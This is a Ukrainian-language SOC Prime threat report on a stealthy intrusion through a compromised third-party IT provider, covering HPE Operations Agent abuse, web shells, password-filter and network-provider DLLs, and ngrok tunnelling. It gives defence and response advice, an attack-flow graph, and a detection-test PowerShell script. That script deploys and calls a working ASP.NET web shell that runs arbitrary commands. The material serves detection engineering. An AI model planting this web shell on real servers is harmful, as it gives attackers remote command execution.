SOC Prime Bias: Критичний

18 May 2026 18:27 UTC

Дослідження прихованого вторгнення через компрометацію третьої сторони

Author Photo
SOC Prime Team linkedin icon Стежити
Дослідження прихованого вторгнення через компрометацію третьої сторони
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Звіт розглядає приховане вторгнення, в ході якого зловмисники зламали постачальника IT-послуг третьої сторони, а потім зловживали легітимним HPE Operations Agent для розгортання веб-шелів, DLL для крадіжки облікових даних і утиліти для тунелювання. Спираючись на довірене програмне забезпечення для управління замість галасливих експлойтів, зловмисники змогли підтримувати довготривалий доступ, мінімізуючи очевидні ознаки компрометації.

Розслідування

Microsoft Incident Response відстежили активність від початкового розгортання веб-шелів на серверах, що виходять в інтернет, до виконання VBScript через HPE Operations Agent. Розслідування далі виявило реєстрацію зловмисного мережевого постачальника та DLL для фільтрації паролів на контролерах домену, а потім повторне використання здобутих облікових даних та використання тунелів ngrok для підтримки горизонтального переміщення в середині середовища.

Захисти

Рекомендовані засоби захисту включають зменшення та жорсткий контроль доступу третьої сторони, моніторинг несанкціонованої реєстрації DLL в пакетах сповіщень LSA, виявлення підозрілих змін веб-шелів, впровадження суворої фільтрації виходу та забезпечення покриття EDR на всіх кінцевих точках.

Реакція

Якщо така активність виявлена, ізолюйте скомпрометовані системи, видаліть зловмисні DLL та веб-шели, анулюйте будь-які вкрадені облікові дані, відключіть несанкціонованих постачальників мережі та шукайте горизонтальні переміщення за допомогою зібраних артефактів.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Action</b> – <b>T1199 Trusted Relationship</b><br/>Compromise thirdu2011party IT services provider and use trusted HPE Operations Agent to run malicious code."] class action_initial_trusted action tool_hpe_oa["<b>Tool</b> – <b>Name</b>: HPE Operations Agent (OA)<br/><b>Purpose</b>: Legitimate agent used to execute scripts on target servers."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Action</b> – Execution of VBScripts (T1059.005)<br/>Run <i>abc003.vbs</i> for system, network and AD discovery."] class action_execution_vbscript action file_abc003["<b>File</b> – <b>Name</b>: abc003.vbs<br/><b>Type</b>: Visual Basic Script"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Deploy <i>Errors.aspx</i> and <i>Signoff.aspx</i> web shells on internetu2011facing servers."] class action_persistence_webshell action file_errors["<b>File</b> – <b>Name</b>: Errors.aspx<br/><b>Function</b>: Remote command execution web shell."] class file_errors file file_signoff["<b>File</b> – <b>Name</b>: Signoff.aspx<br/><b>Function</b>: Remote command execution web shell."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Action</b> – <b>T1556.008 Network Provider DLL</b><br/>Register malicious <i>mslogon.dll</i> on domain controllers to capture clearu2011text credentials."] class action_persistence_np_dll action file_mslogon["<b>File</b> – <b>Name</b>: mslogon.dll<br/><b>Location</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Action</b> – <b>T1556.002 Password Filter DLL</b><br/>Add <i>passms.dll</i> as LSA notification package on DC01/DC02 to intercept password changes."] class action_persistence_passdll action file_passms["<b>File</b> – <b>Name</b>: passms.dll<br/><b>Location</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Action</b> – <b>T1552.001 Credentials In Files</b><br/>Store harvested credentials in clearu2011text or encoded files on disk."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>DLLu2011based interception provides credential dumping without external tools."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Action</b> – <b>T1078.003 Valid Accounts: Local Accounts</b><br/>Reuse harvested credentials to authenticate via RDP and SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Action</b> – <b>T1021 Remote Services</b><br/>Establish RDP sessions over encrypted ngrok tunnels to move laterally."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Action</b> – <b>T1090 Proxy</b><br/>Deploy ngrok as multiu2011hop proxy to create covert C2 channels."] class action_c2_proxy action tool_ngrok["<b>Tool</b> – <b>Name</b>: ngrok<br/><b>Purpose</b>: Create TCP/HTTPS tunnels for traffic tunneling."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["<b>Action</b> – <b>T1572 Protocol Tunneling</b><br/>Encapsulate C2 traffic inside ngrok tunnels to evade detection."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Action</b> – <b>T1039 Data from Network Shared Drive</b><br/>Stage encoded credential files on remote SMB shares before exfiltration."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Action</b> – <b>T1574.001 Hijack Execution Flow: DLL</b><br/><i>msupdate.dll</i> exfiltrates data via SMTP and SMB, disguised as image files."] class action_defense_dll action file_msupdate["<b>File</b> – <b>Name</b>: msupdate.dll<br/><b>Payload</b>: Encoded data sent as icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Action</b> – <b>T1547.004 Winlogon Helper DLL</b><br/>Register <i>mslogon.dll</i> as Winlogon helper to ensure execution at logon."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|uses| tool_hpe_oa tool_hpe_oa –>|executes| action_execution_vbscript action_execution_vbscript –>|runs| file_abc003 action_execution_vbscript –>|leads to| action_persistence_webshell action_persistence_webshell –>|creates| file_errors action_persistence_webshell –>|creates| file_signoff action_persistence_webshell –>|enables| action_persistence_np_dll action_persistence_np_dll –>|installs| file_mslogon action_persistence_np_dll –>|enables| action_persistence_passdll action_persistence_passdll –>|installs| file_passms action_persistence_passdll –>|stores| action_cred_in_files action_cred_in_files –>|provides data for| action_os_credential_dump action_os_credential_dump –>|enables| action_lateral_local action_lateral_local –>|uses| action_lateral_remote action_lateral_remote –>|utilizes| tool_ngrok tool_ngrok –>|facilitates| action_c2_proxy action_c2_proxy –>|enables| action_c2_tunnel action_c2_tunnel –>|supports| action_collection_share action_collection_share –>|provides files for| action_defense_dll action_defense_dll –>|uses| file_msupdate action_defense_dll –>|supports| action_persistence_winlogon action_persistence_winlogon –>|relies on| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Потік атаки

Виконання симуляції

Попередня умова: Телеметрія та перевірка бази повинні бути пройдені.

Аргументація: Цей розділ детально описує точне виконання техніки противника (T1199), розроблене для спрацювання правила виявлення. Команди та оповідь ПОВИННІ безпосередньо відображати ідентифіковані TTP та прагнути генерувати точну телеметрію, очікувану логікою виявлення.

  • Опис атаки та команди:

    1. Початкова компрометація: Зловмисник отримує доступ на запис до кореня веб-сайту (наприклад, за допомогою вкрадених облікових даних або вразливого кінцевого пункту завантаження).
    2. Розгортання веб-шела: Вони завантажують шкідливий ASP.NET веб-шел під назвою Errors.aspx (або модифікують існуючий Signoff.aspx) який виконує довільні команди PowerShell, задані через рядок запиту.
    3. Спричинення шелу: Зловмисник надсилає HTTP GET запит до шелу з PowerShell навантаженням у cmd параметрі, напр. https://corp.example.com/Errors.aspx?cmd=whoami. Цей запит записується IIS, створюючи cs-uri-stem значення /Errors.aspx – точнісінько те, що правило Sigma зіставляє.
  • Скрипт регресійного тесту: Скрипт відтворює кроки 2‑3 (завантаження симулюється копіюванням заздалегідь підготовленого файлу у корінь веб-сайту; спричинення виконується через Invoke-WebRequest).

    # -------------------------------------------------
    # Скрипт симуляції веб‑шела – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. Розгорнути простий ASP.NET веб‑шел (мінимальний для тестування)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] Розгорнуто веб‑шел у $shellPath"
    
    # 2. Дати веб-серверу момент для реєстрації нового файлу
    Start-Sleep -Seconds 2
    
    # 3. Викликати веб‑шел для генерації запису в логах, що спрацьовує детекцію
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] Викликано веб‑шел через $uri"
    # -------------------------------------------------
  • Команди очищення: Видаліть тестовий веб‑шел та будь-які залишкові файли.

    # Скрипт очищення – видалити симульований веб‑шел
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] Видалено $shellPath"
    } else {
        Write-Host "[-] Файл шела не знайдено; нічого очищувати."
    }